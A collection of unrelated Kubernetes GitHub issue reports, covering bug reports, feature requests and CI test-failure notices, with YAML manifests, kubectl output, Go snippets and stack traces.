minutes later\r $ kubectl get all,limitrange\r name       ready     status    restarts   age\r po/web-0   1/1       running   0          6m\r \r name               desired   current   age\r statefulsets/web   1         1         6m\r \r name                                age\r limits/custom-limit-ranges   6m\r    \r \r   k8s templates used  \r   limit range  \r    \r apiversion: v1\r kind: limitrange\r metadata:\r   name: custom-limit-ranges\r spec:\r   limits:\r   - default:\r       cpu: \ 1\ \r       memory: 1gi\r     defaultrequest:\r       cpu: 200m\r       memory: 1gi\r     type: container\r    \r \r   statefulset  \r    \r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: web\r spec:\r   selector:\r     matchlabels:\r       app: nginx\r   servicename: \ nginx\ \r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       terminationgraceperiodseconds: 10\r       containers:\r       - name: nginx\r         image: gcr.io/google_containers/nginx-slim:0.8\r         ports:\r         - containerport: 80\r           name: web\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.6\r - cloud provider or hardware configuration  : gke\r - os  e.g. from /etc/os-release : gke cos\r - install tools: gcloud components install kubetcl

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r we are using kubernetes to manage a machine learning cluster with gpu devices, and  need to know the gpu resource status of each node,  for cluster management.  however, the gpu status is not printed, when using  kubectl describe node xxx , to get the resource status  of  a node with gpu devices,  just as the following:\r \r ! image  https://user-images.githubusercontent.com/3814418/33878936-db9707a0-df67-11e7-9071-3cb33e2d6d10.png \r \r   what you expected to happen  : \r print the gpu status of the node with gpu devices, and each pod on this node,  like the cpu&memory resources,  when using   kubectl describe node xxxxx .\r \r   how to reproduce it  as minimally and precisely as possible   :\r describe a node with gpu devices using command  kubectl describe node xxx \r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.1\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : debian gnu/linux 8  jessie \r - kernel  e.g.  uname -a  : 4.9.0-0.bpo.3-amd64\r - install tools: \r - others:\r

 \r   what happened  :\r when you update a specific plugin in the /usr/libexec/kubernetes/kubelet-plugins/volume/exec/ kubernetes will trigger init to all the plugins in the  /usr/libexec/kubernetes/kubelet-plugins/volume/exec/ directory.\r for example if you have the ibm flexvolume plugin installed in /usr/libexec/kubernetes/kubelet-plugins/volume/exec/ibm~ubiquity-k8s-flex/ubiquity-k8s-flex, and after a while you update this ubiquity-k8s-flex plugin then the automatic plugin discovery will trigger ubiquity-k8s-flex init, but it will also trigger init for all the other plugins in  /usr/libexec/kubernetes/kubelet-plugins/volume/exec directory.\r \r \r   what you expected to happen  :\r the automatic discovery should trigger init only to the specific plugin directory that was updated, and not to all the plugins in the k8s plugin directory.\r \r btw i discussed about it with cheng xing from google and he suggested to open this ticket.\r \r   how to reproduce it  as minimally and precisely as possible   :\r install 2 different k8s plugin not matter which plugin , then change add a file in the first plugin and you will see in the log that also the second plugin will get the init operation.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.4\r - cloud provider or hardware configuration: vm x86\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :uname -a\r linux k8s-shay-v18-master 4.4.0-101-generic  124-ubuntu smp fri nov 10 18:29:59 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r root@k8s-shay-v18-master:~  dpkg -l | grep kube\r ii  kubeadm                             1.8.4-00                                   amd64        kubernetes cluster bootstrapping tool\r ii  kubectl                             1.8.4-00                                   amd64        kubernetes command line tool\r ii  kubelet                             1.8.4-00                                   amd64        kubernetes node agent\r ii  kubernetes-cni                      0.5.1-00                                   amd64        kubernetes cni\r

failing jobs\r  sig-release-master-blocking gci-gce-ingress  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-ingress \r \r   failing tests\r  rolling update backend pods should not cause service disruption  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ingress/18796 \r  should be able to switch between ig and neg modes  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ingress/18796 \r  should conform to ingress spec  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ingress/18796 \r  should sync endpoints to neg  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ingress/18796 \r \r   triage results\r  rolling update backend pods should not cause service disruption  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=gci-gce-ingress&test=rolling%20update%20backend%20pods%20should%20not%20cause%20service%20disruption \r  should be able to switch between ig and neg modes  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=gci-gce-ingress&test=should%20be%20able%20to%20switch%20between%20ig%20and%20neg%20modes \r  should conform to ingress spec  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=gci-gce-ingress&test=should%20conform%20to%20ingress%20spec \r  should sync endpoints to neg  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=gci-gce-ingress&test=should%20sync%20endpoints%20to%20neg \r \r these tests are failing on sig master blocking\r \r /cc @aishsundar @tpepper \r   / / /milestone v1.12\r

hi,\r \r the  hack/dev-build-and-push.sh  script is broken because the  cluster/kube-push.sh  script has been removed from in this pull request: https://github.com/kubernetes/kubernetes/pull/58247 .\r \r is  dev-build-and-push.sh  deprecated too, shall we remove it?\r \r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  ci-kubernetes-e2e-gce-new-master-upgrade-master    testgrid  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master&width=20     triage  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-new-master-upgrade-master&test=upgradetest  \r \r   which test s  are failing  :\r  upgradetest \r see  ci-kubernetes-e2e-gce-new-master-upgrade-master/2318  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/2318  and  ci-kubernetes-e2e-gce-new-master-upgrade-master/2316  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/2316  for example.\r \r   reason for failure  :\r this test seems to either fail with:\r    \r error during kubetest --test \r --test_args=--ginkgo.focus=\\ feature:masterupgrade\\  \r --upgrade-target=ci/latest --report-dir=/workspace/_artifacts \r --disable-log-dump=true --report-prefix=upgrade \r --check-version-skew=false  interrupted : exit status 2\r    \r when the  timeout  test fails or with\r    \r error during kubetest --test \r --test_args=--ginkgo.focus=\\ feature:masterupgrade\\  \r --upgrade-target=ci/latest --report-dir=/workspace/_artifacts \r --disable-log-dump=true --report-prefix=upgrade \r --check-version-skew=false: exit status 1\r    \r when any of these fail:\r -   k8s.io   sig-node  kubelet  serial   slow   k8s.io   sig-node  regular resource usage tracking resource tracking for 100 pods per node   75039 \r -   sig-network  firewall rule  slow   serial  should create valid firewall rules for loadbalancer type service   74887\r -  diffresources   74890\r \r   anything else we need to know  :\r this has been flaking about 50% of the all runs since 3/1.\r \r    / /milestone v1.14\r \r cc @smourapina @mariantalla @kacole2 @mortent

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r ci-kubernetes-e2e-gci-gce-serial\r \r   which test s  are failing  :\r  sig-network  dns configmap nameserver  ipv4  forward external name lookup should forward externalname lookup to upstream nameserver  slow  serial \r \r   since when has it been failing  :\r failing since 6/10 at 16:58.\r  k/k diff  https://github.com/kubernetes/kubernetes/compare/3a50c0069...d873167e8 .\r decent chance that the failure is due to https://github.com/kubernetes/kubernetes/pull/78691\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-serial\r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/dns_configmap.go:506\r jun 11 05:58:40.949: dig result did not match:   string{} after 2m0s\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/dns_common.go:103\r    \r \r /cc @kubernetes/sig-network-test-failures \r /  /milestone v1.15\r \r /cc @jimangel @smourapina @alenkacz

using v1.2.0-beta.1. deployed a daemonset with no node selector, but it's not running in all of them.  the two that are running are the ones with schedulingdisabled.      $ kubectl get nodes name            status                     age 100.64.32.234   ready                      8d 100.64.32.71    ready,schedulingdisabled   5m 100.64.33.77    ready,schedulingdisabled   19m 100.64.33.82    ready                      2d          $ kubectl describe daemonset kube-proxy name:       kube-proxy image s :   calpicow/hyperkube:v1.2.0-beta.1-custom selector:   name in  kube-proxy  node-selector:  <none> labels:     name=kube-proxy desired number of nodes scheduled: 2 current number of nodes scheduled: 2 number of nodes misscheduled: 0 pods status:    2 running / 0 waiting / 0 succeeded / 0 failed

when https://github.com/kubernetes/kubernetes/pull/23526 gets merged, it would be great if we had output not just going forward for 1.3 but also for the 1.2 and 1.1 docsets. 1.1 is lower priority, but 1.2 is the current default version of k8s on the site so it would be awesome for it to have the upgraded cli docs.   @tyangliu @lavalamp

an example:      sh $ kubectl get pods --namespace=nonexistent -o json {     \ kind\ : \ list\ ,     \ apiversion\ : \ v1\ ,     \ metadata\ : {},     \ items\ :    }      i think it should actually return:      sh $ kubectl get pods --namespace=nonexistent -o json namespace 'nonexistent' not found.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.4-gci-1.5-upgrade-cluster/16/  multiple broken tests:  failed:  k8s.io  deployment overlapping deployment should not fight with each other {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:92 failed to update the first deployment's overlapping annotation expected error:     < errors.errorstring | 0xc820190b20>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:1244     issues about this test specifically:  31502  32947   failed:  k8s.io  v1job should fail a job  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/batch_v1_jobs.go:202 expected error:     < errors.errorstring | 0xc820190b20>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/batch_v1_jobs.go:201     issues about this test specifically:  37427   failed:  k8s.io  rescheduler  serial  should ensure that critical pod is scheduled in case there is no resources available {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rescheduler.go:67 expected     <int>: 0 to equal     <int>: 1 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rescheduler.go:59     issues about this test specifically:  31277  31347  31710  32260  32531   failed:  k8s.io  job should fail a job {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/job.go:198 expected error:     < errors.errorstring | 0xc820190b20>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/job.go:197     issues about this test specifically:  28773  29506  30699  32734  34585  38391

cloudprovider apis can be precious commodity and kubernetes should be a good citizen which doesn't blow up the api quota where it could have been avoided.\r \r to this end - i am thinking we should enhance e2e tests to cover, how many api calls are being made for particular test and set some expectations around that. obviously creation of certain resources means - we have to retry something repeatedly , so the checks and balances we put in place should take into account of that.\r \r this will ensure that any internal refactoring or redesign still adheres to certain expectations of api quotas.\r \r \r cc @childsb @saad-ali @justinsb @jsafrane @kubernetes/sig-storage-misc \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r glusterfs, umount\r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r  client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : ubuntu 16.04\r -   kernel    e.g.  uname -a  : linux hostname 4.4.0-59-generic  80-ubuntu smp fri jan 6 17:47:47 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : terraform/ansible\r -   others  :\r \r \r   what happened  : \r kubernetes allows users to delete a glusterfs pvc before it is has been umounted from all kubelets. this leaves orphaned mount points on the kubelet boxes and the kubelets looping trying and remove them.\r \r   what you expected to happen  :\r the kubelet should successfully remove the mountpoints.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r example deployment with with a heketi/glusterfs storageclass.\r \r gluster-test.yml:\r    \r ---\r kind: \ persistentvolumeclaim\ \r apiversion: \ v1\ \r metadata:\r   name: \ test\ \r   annotations:\r     volume.beta.kubernetes.io/storage-class: \ gluster\ \r \r spec:\r   accessmodes:\r     - \ readwritemany\ \r   resources:\r     requests:\r       storage: \ 4gi\ \r \r ---\r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: test\r spec:\r   replicas: 10\r   selector:\r     role: test\r   template:\r     metadata:\r       labels:\r         role: test\r     spec:\r       containers:\r       - name: server\r         image: nginx\r         volumemounts:\r           - mountpath: /var/lib/www/html\r             name: test\r       volumes:\r         - name: test\r           persistentvolumeclaim:\r             claimname: test\r    \r \r to reproduce :\r \r kubectl create -f gluster-test.yml\r <wait for all containers to come up>\r kubectl delete -f gluster-test.yml\r \r this will cause heketi to remove the glusterfs volume before some of the pods have umounted it. all mount points still online will error with: 'transport endpoint is not connected'\r \r these can still be umounted, however the way the code is written it will try to \ stat\  the mount point before trying the umount. this will error with something like the following:\r \r    \r feb 08 16:00:50 hostname hyperkube 20686 : e0208 16:00:50.484167   20686 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/glusterfs/7915ad66-ee16-11e6-b43a-0a6fac4f1177-pvc-78f6b82d-ee16-11e6-b43a-0a6fac4f1177\\\   \\\ 7915ad66-ee16-11e6-b43a-0a6fac4f1177\\\  \  failed. no retries permitted until 2017-02-08 16:01:06.484141794 +0000 gmt  durationbeforeretry 16s . error: unmountvolume.teardown failed for volume \ kubernetes.io/glusterfs/7915ad66-ee16-11e6-b43a-0a6fac4f1177-pvc-78f6b82d-ee16-11e6-b43a-0a6fac4f1177\   volume.spec.name: \ test\   pod \ 7915ad66-ee16-11e6-b43a-0a6fac4f1177\   uid: \ 7915ad66-ee16-11e6-b43a-0a6fac4f1177\   with: error checking if path exists: stat /mnt/secure/kubelet-root-dir/pods/7915ad66-ee16-11e6-b43a-0a6fac4f1177/volumes/kubernetes.io~glusterfs/pvc-78f6b82d-ee16-11e6-b43a-0a6fac4f1177: transport endpoint is not connected\r    \r this will prevent the umount and pod cleanup.\r \r \r   anything else we need to know  :\r \r \r the code looks something like this:\r \r    \r func unmountpath mountpath string, mounter mount.interface  error {\r \tif pathexists, patherr := pathexists mountpath ; patherr != nil {\r \t\treturn fmt.errorf \ error checking if path exists: %v\ , patherr \r \t} else if !pathexists {\r \t\tglog.warningf \ warning: unmount skipped because path does not exist: %v\ , mountpath \r \t\treturn nil\r \t}\r \r \tnotmnt, err := mounter.islikelynotmountpoint mountpath \r \tif err != nil {\r \t\treturn err\r \t}\r \tif notmnt {\r \t\tglog.warningf \ warning: %q is not a mountpoint, deleting\ , mountpath \r \t\treturn os.remove mountpath \r \t}\r \t...\r    \r \r \r    \r // pathexists returns true if the specified path exists.\r func pathexists path string   bool, error  {\r \t_, err := os.stat path \r \tif err == nil {\r \t\treturn true, nil\r \t} else if os.isnotexist err  {\r \t\treturn false, nil\r \t} else {\r \t\treturn false, err\r \t}\r }\r    \r    \r func  mounter  mounter  islikelynotmountpoint file string   bool, error  {\r \treturn isnotmountpoint file \r }\r \r func isnotmountpoint file string   bool, error  {\r \tstat, err := os.stat file \r \tif err != nil {\r \t\treturn true, err\r \t}\r \trootstat, err := os.lstat file + \ /..\  \r \tif err != nil {\r \t\treturn true, err\r \t}\r \t// if the directory has a different device as parent, then it is a mountpoint.\r \tif stat.sys  .  syscall.stat_t .dev != rootstat.sys  .  syscall.stat_t .dev {\r \t\treturn false, nil\r \t}\r \r \treturn true, nil\r }\r    \r \r i realise the importance of checking to see if a mountpoint is still up before removing it.\r \r my first thoughts were to restrict the stat checks to only error if the mount point didn't actually exist.\r \r also checking /proc/mounts seems like a more reliable method for checking if something is mounted on linux.\r

in order to start adopting etcd3 features that are not supported by etcd2, etcd2 support needs to be deprecated and removed.  this issue will track progress towards deprecating etcd2.  per our  deprecation policy  https://kubernetes.io/docs/home/deprecation-policy/ , once the deprecation is announced a 1 year clock will begin, and after that year the next release can remove support for etcd2.\r \r steps:\r \r -     verify & document recommended manual upgrade procedure on the kubernetes website\r -     document automated upgrade procedure on the kubernetes website, that takes the same approach as at least one of the manual upgrade options.   ha upgrades need not keep the api server online during the upgrade .\r -     ensure automated upgrade procedure is under e2e upgrade/downgrade testing.  because our existing upgrade / downgrade tests are intended to capture api upgrade failures, the scenarios are likely different.  blocking scenarios:\r   -     ensure upgrade/downgrade happens at a random point during a randomized disruptive test run, to get some coverage of different object states.\r   -     scenario with separate events etcd cluster\r   -     scenario with combined events etcd cluster\r   -     scenario with single node etcd cluster\r   -     scenario with 3 node etcd cluster\r   -     scenario with 3 node etcd cluster, where 1 node is offline, but then rejoins after some time of api operation including writes.  ideally we then have a previously healthy go offline.\r   -     scenario with 5 node etcd cluster, where 3 nodes are degraded, and verify that upgrade is blocked.   need not be stress tested - hopefully! \r   -     scenario where a uas has written a large number of keys and big values into the cluster, such that the etcd database is \ big\   > 1gb? \r   -      optional  etcd chaos monkey scenario, which may allow us to cover some of the above statistically\r   -      optional  create a testgrid tab\r -     consider some success metric on the upgrade tests to be a release-blocker - e.g. no data loss  maybe events data loss is tolerable? ; > 100 test runs per scenario; 99% success rate overall, no failures attributable to etcd upgrade/downgrade.\r -     announce deprecation of etcd2 in a release which has passed the success metric.\r -      optional  provide collateral to get users enthusiastic about the move, and publicly publish the benchmarks that demonstrated this was a necessary action.\r -     log a warning when etcd2 is in use.\r -      optional  surface a warning more prominently, for example in component status or events.\r -      optional  collect metrics or do a survey to quantify the number of users using etcd2 and the upgrade rate.\r -      optional  in the first release after the 1 year deprecation, require an additional flag to be passed, to give users a \ last chance\ \r -     remove support for etcd2 :fireworks: \r \r \r  these are the minimal steps off-the-top of my head; please comment with scenarios/steps i have missed

failure cluster  6d268a83c25eb70f6b68  https://go.k8s.io/triage 6d268a83c25eb70f6b68        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ feature:stackdriverlogging\\ : exit status 1           failure cluster statistics: 1 tests failed,    3 jobs failed,    49 builds failed. failure stats cover 1 day time range '15 may 2017 22:03 utc' to '16 may 2017 22:03 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 3 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-stackdriver | 44 |  16 may 2017 21:16 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-stackdriver/3608  | | ci-kubernetes-e2e-gci-gce-sd-logging | 3 |  16 may 2017 08:11 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-sd-logging/441  | | ci-kubernetes-e2e-gce-sd-logging | 2 |  16 may 2017 11:40 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-sd-logging/435  |   current status  https://go.k8s.io/triage 6d268a83c25eb70f6b68

these methods should ideally be in a e2e specific utility function and not part of the cloud provider library.\r   addinstance\r   getallzonesfromcloudprovider\r   deleteinstance\r ...

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r from https://github.com/kubernetes/kubernetes/issues/24254, the cloud provider automatically appends icmp type 3 to allow for pmtud.\r \r   what you expected to happen  :\r in the case were someone:\r \r - someone is watching their transit paths and mtus so that mismatches don't happen or all routing devices in between are covered by cidrs in the loadbalancersourceranges or aws-load-balancer-extra-security-groups, or\r - someone really does not want 0/0 to be permitted  and is willing to deal with the fallout of that decision , or\r - someone is using cdns which have reliable mss and mtu configurations to the lbs,\r \r they should have the option of disabling the behavior of automatically adding the icmp rule  probably with aws-load-balancer-disallow pmtud .\r \r   how to reproduce it  as minimally and precisely as possible   :\r setup a service with  type: loadbalancer  on any aws cluster.\r \r   anything else we need to know?  :\r i'll admit that this is putting a lot of positive  naive  expectations on the infrastructure to not cause mtu mismatches, but 0/0 is a pretty wide permit and can run counter to some security practices.\r \r in addition to the basic setup, combinations of this + ingress controllers which match up security groups + aws-load-balancer-extra-security-groups can possibly lead to this permit leaking and being applied to other items such as node instances. i don't think this is the current case, but given how some of that behaves right now, that could inadvertently be enabled in the future.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.6  but it's still in the code for 1.9 \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : coreos 1576.5.0\r - kernel  e.g.  uname -a  : 4.14.11-coreos\r - install tools: terraform\r - others:\r

clients/controllers need to know how a resource would look like without creating it. it can be changed by admission or defaulting. that's why we need dry run version of that api call to go through all that chain regular resource would have gone, just without storing it to etcd and with avoiding side effects from admission plugins.\r \r use cases:\r  -  daemonset needs to know how the pod's nodeselector will look like after admission to know which nodes to even target  without creating a real pod as that is unthinkable in every sync pass   https://github.com/kubernetes/kubernetes/issues/61886 issuecomment-379277543 \r  -  kubectl apply and calculating patches  https://github.com/kubernetes/kubernetes/issues/34292 \r  -  kubectl --dry-run needs to touch server  https://github.com/kubernetes/kubernetes/issues/11488 \r \r  / \r @kubernetes/sig-api-machinery-feature-requests @janetkuo @deads2k @smarterclayton @liggitt @bgrant0607-cc

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r \r  \r >  \r \r   what happened  :\r 1  deployed a 1000 nodes kubernetes 1.9.1 cluster with 3 masters and 3 etcd server with version 3.2.14.\r 2  submit 20000 liberty pods with 10 times, each time submit 1000 pods in 1 deployment.\r 3  my pods was submitted and running at 15:00.\r 4  from 15:00, the etcd memory usage is not stable, it keeps going up and down from 15:00 to 17:00\r \r ! image  https://user-images.githubusercontent.com/4461983/39355998-70dccc66-4a41-11e8-918d-61213ec55da5.png \r \r based on my understanding, once all of the workloads are submitted, the etcd memory usage should become stable. any reason the etcd memory keeps going up and down?\r \r another 1000 nodes cluster etcd also have same issue after running for 8 hours, there are two etcd memory not stable.\r \r ! image  https://user-images.githubusercontent.com/4461983/39356195-f4a98584-4a41-11e8-9d83-302db82227ee.png \r \r  \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

please coordinate with sig-scheduling before working on this issue.   we want to avoid the situation where two people accidentally start work on the same fix.\r main tracking issue: https://github.com/kubernetes/kubernetes/issues/68951\r \r the  schedulingqueue  implementation in  pkg/scheduler/core  should not be in the same package as  genericscheduler . since it is a self-contained component, it can go in its own package. and because it is only used by  genericscheduler , we can put it under  pkg/scheduler/internal .\r \r   /help\r /good-first-issue\r

quoting @roberthbailey: \ we have a policy that code should be reviewed and pushed via pull requests, but there isn't anything that enforces this or enforces that a maintainer can't merge their own pull requests  and this happens sometimes when the build cop is trying to fix the build .\   if we can't enforce this, we should at least have a way to detect such commits. can we build a monitor that alerts us if someone tries to do this?

hi,  i'm trying to get started  again, new machine, workplace bla bla  with kubernetes but so far the experience if nothing short but confusing. i was expecting to have a clear documentation for how to start on a ubuntu machine but in turn i can't find anything that correctly replicates the real life  especially since i can't remember what arcane stuff i've done the previous time to get it working .  i've spent more than an hour figuring out how to boot up the thing locally on my ubuntu machine and i'm still not sure if i've understood how to do it.  i appreciate that the pace of development is fast and things move a lot but that's exactly why such a process must enforce that documentation matches what's in the code and the other way around.  if you look at other projects, the usually have a development period and a cool down period in which various features are documented and bugs are ironed out.  also, any change that affects the users in terms of getting started should be accepted only if they provide the changes for the documentation as well.  finally, no release should be done if there are still pending documentation issues that have not been sorted out as that leads to the current case where documentation is p2 or p3 or whatever p that's not critical for doing a release.  please take a bit of time to improve experience for users as it's a pity to have an awesome project with a less than ideal documentation.  thank you.

! image  https://cloud.githubusercontent.com/assets/89186/16541143/315ed446-4073-11e6-9c1a-a34d5982fc62.png   it's also not obvious why not link to http://kubernetes.github.io/ directly.

we got an interesting failure: https://console.cloud.google.com/storage/browser/kubernetes-jenkins/logs/kubernetes-kubemark-high-density-100-gce/1186  what happend is that encoding  runtime.object  to json failed in pod list  apiserver/apiserver.go:495 :      if err := encoder.encode object, w ; err != nil {     errorjsonfatal err, encoder, w  }      logs from the api server:      i0907 10:37:05.177940    2915 handlers.go:162  get /api/v1/pods:  1.815800129s  500 goroutine 474266  running : k8s.io/kubernetes/pkg/httplog.  resplogger .recordstatus 0xc83fde0230, 0x1f4      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:219 +0xa3 k8s.io/kubernetes/pkg/httplog.  resplogger .writeheader 0xc83fde0230, 0x1f4      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:198 +0x2b k8s.io/kubernetes/pkg/apiserver/metrics.  responsewriterdelegator .writeheader 0xc83fba1b90, 0x1f4      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/metrics/metrics.go:117 +0x4c k8s.io/kubernetes/pkg/apiserver.errorjsonfatal 0x0, 0x0, 0x7f3b5cff6118, 0xc83670a100, 0x7f3b5cfe8b38, 0xc83a0d87d0, 0xc846842eb0      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:526 +0x47a k8s.io/kubernetes/pkg/apiserver.writenegotiated 0x7f3b5cff60a0, 0xc820253d50, 0x0, 0x0, 0x3f10a88, 0x2, 0x7f3b5cfe8b38, 0xc83a0d87d0, 0xc8252e8460, 0xc8, ...      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:496 +0x3d4 k8s.io/kubernetes/pkg/apiserver.write 0xc8, 0x0, 0x0, 0x3f10a88, 0x2, 0x7f3b5cff60a0, 0xc820253d50, 0x7f3b5cf809f0, 0xc842fe8fc0, 0x7f3b5cfe8b38, ...      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:479 +0xbde k8s.io/kubernetes/pkg/apiserver.listresource.func1 0xc83fba1b00, 0xc842fe8f00      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/resthandler.go:328 +0xe5b k8s.io/kubernetes/pkg/apiserver/metrics.instrumentroutefunc.func1 0xc83fba1b00, 0xc842fe8f00      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/metrics/metrics.go:101 +0x25f k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc82035acf0, 0x7f3b5d02e808, 0xc83fde0230, 0xc8252e8460      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:272 +0xf30 k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container . k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.dispatch -fm 0x7f3b5d02e808, 0xc83fde0230, 0xc8252e8460      